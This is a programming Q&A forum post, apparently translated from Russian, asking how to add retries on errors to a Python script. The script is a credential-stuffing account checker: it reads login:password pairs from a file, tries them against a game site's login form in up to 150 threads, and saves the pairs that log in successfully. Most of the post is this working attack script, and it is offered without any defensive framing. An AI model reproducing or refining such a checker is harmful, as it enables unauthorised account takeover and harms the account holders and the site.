K
K
kpkkk4232020-05-10 20:13:34
Python
kpkkk423, 2020-05-10 20:13:34

Retrying POST on error?

How to make it so that if he sees an error on the page for the first time, then he would send a post request again.
The problem is that the first time it can show an error, but the second time it comes
in And determine what is entered by text: Settings

import requests
import random
import threading
from lxml import html

accs = list(set(open("tiwar.txt", encoding="utf-8").read().split('\n')))
def check():
    while accs:
        acc = random.choice(accs)
        login = acc.split(":")[0]
        password = acc.split(":")[1]
        while True:
                try:
                    ses = requests.Session()
                    ses.get("http://site.ru/?sign_in=1")
                    data = {"login": login, "pass": password}
                    login_req = ses.post("http://site.ru/", data=data)
                    html.fromstring(login_req.content)
                    if "Настройки" in login_req.text:
                        open("TiwarGood.txt", "a", encoding="utf-8").write("{}:{}\n".format(login, password))
                        print("{}:{} - Успешно авторизован!".format(login, password))
                        break
                    elif "Ошибка авторизации, логин или пароль введены неверно!" in login_req.text:
                        print("{}:{} - Ошибка авторизации!".format(login, password))
                        break
                    else:
                        print(login_req.text)
                except Exception as e:
                    print(e)

shift = int(input("Количество поток(1 - 150) : "))
for i in range (shift):
    thread = threading.Thread(target=check)
    thread.start()

Answer the question

In order to leave comments, you need to log in

Didn't find what you were looking for?

Ask your question

Ask a Question

731 491 924 answers to any question